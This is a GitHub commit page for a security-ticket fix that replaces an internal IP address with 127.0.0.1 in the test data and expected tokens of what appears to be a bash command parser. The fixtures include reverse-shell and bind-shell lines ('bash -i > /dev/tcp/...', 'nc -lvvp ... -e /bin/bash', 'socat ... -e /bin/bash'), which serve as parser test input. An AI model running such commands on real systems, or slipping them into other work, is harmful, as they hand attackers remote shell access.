Skip to content

Commit

Permalink
安全工单处理,ip替换成127.0.0.1
Browse files Browse the repository at this point in the history
  • Loading branch information
tangjiawei committed Dec 31, 2024
1 parent c8000ff commit 87b1109
Show file tree
Hide file tree
Showing 2 changed files with 2 additions and 2 deletions.
2 changes: 1 addition & 1 deletion tests/box_data.py
Original file line number Diff line number Diff line change
Expand Up @@ -48,7 +48,7 @@
kill -9 123456
kill -s TERM 123456
kill -n 9 123456
bash -i > /dev/tcp/10.201.61.194/5566
bash -i > /dev/tcp/127.0.0.1/5566
nc -lvvp 1988 -e /bin/bash
socat -lvvp 1988 -e /bin/bash
echo Done
Expand Down
2 changes: 1 addition & 1 deletion tests/test_reader.py
Original file line number Diff line number Diff line change
Expand Up @@ -74,7 +74,7 @@ def test_reader_bash_multiline():
((23, 23), ['kill', '-9', '123456']),
((24, 24), ['kill', '-s', 'TERM', '123456']),
((25, 25), ['kill', '-n', '9', '123456']),
((26, 26), ['bash', '-i', '>', '/dev/tcp/10.201.61.194/5566']),
((26, 26), ['bash', '-i', '>', '/dev/tcp/127.0.0.1/5566']),
((27, 27), ['nc', '-lvvp', '1988', '-e', '/bin/bash']),
((28, 28), ['socat', '-lvvp', '1988', '-e', '/bin/bash']),
((29, 30), ['echo', 'Done']),
Expand Down

0 comments on commit 87b1109

Please sign in to comment.